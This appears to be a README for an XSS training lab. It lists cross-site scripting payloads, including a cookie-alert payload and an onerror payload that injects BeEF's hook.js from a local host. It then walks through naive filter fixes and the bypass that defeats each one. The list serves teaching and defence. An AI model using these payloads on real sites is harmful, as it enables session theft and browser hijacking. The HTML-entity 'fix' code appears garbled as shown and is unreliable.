-
Install nodejs
-
Install dependencies
$ npm install
- run application
$ npm run start:dev
-
Make sure that TCP/3000 is allowed on your firewall
Having fun with XSS attacks such as:
- Using
<script>
tag
<script>alert("test")</script>
- using
<iframe>
tag withjavascript
URI scheme
<iframe src="javascript:alert('XSS');">
<iframe src="javascript:alert(`XSS`)">
- Using DOM event
<img src=1 href=1 onerror="javascript:alert('XSS')"></img>
<svg onload=alert(1)>
- Steal cookie
<script>alert(document.cookie)</script>
- Insert hook.js script from beef
<img src=1 href=1 onerror="javascript: (function () { var url = 'http://127.0.0.1:4000/hook.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();" />
Try to fix vulnerability and prevent XSS Attacks
Business requirement: you must keep <
and >
.
- Payload
<script>alert("test")</script>
- Fix: add filter in
src/routes/result.js
search = search.replace("<script>", "");
- Bypass
<sc<script>ript>alert("test")</script>
- Fix: add filter (but it's not recursive)
search = search.replace(/<script>/g, "");
- Fix with recursive filtering
while (search != (search = search.replace(/<script>/g, "")));
- Bypass using upper case
<sc<script>riPt>alert("test")</script>
- Fix with a recursive and case insentive filtering
while (search != (search = search.replace(/<script>/i, "")));
- Bypass (Add a single space)
<sC<script>riPt >alert("test")</script>
- Fix: remplace special char by html entities
search = search.replace(/\(/g, "(");
search = search.replace(/\)/g, ");");
search = search.replace(/</g, "<");
search = search.replace(/\>/g, ">");
- Bypass using HTML decimal entity
<iframe src="javascript:alert('XSS');">
- Why ? output encoding / escaping must done according a context (HTML, Javascript, CSS, ...)
- HTML Decimal entity
<img src=x onerror="javascript:alert('XSS')">
- UTF16
<img src="x" onerror="\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:\u0061\u006C\u0065\u0072\u0074('XSS')">
solution: output encoding (aka escaping) but according a context (html, js, css, ...)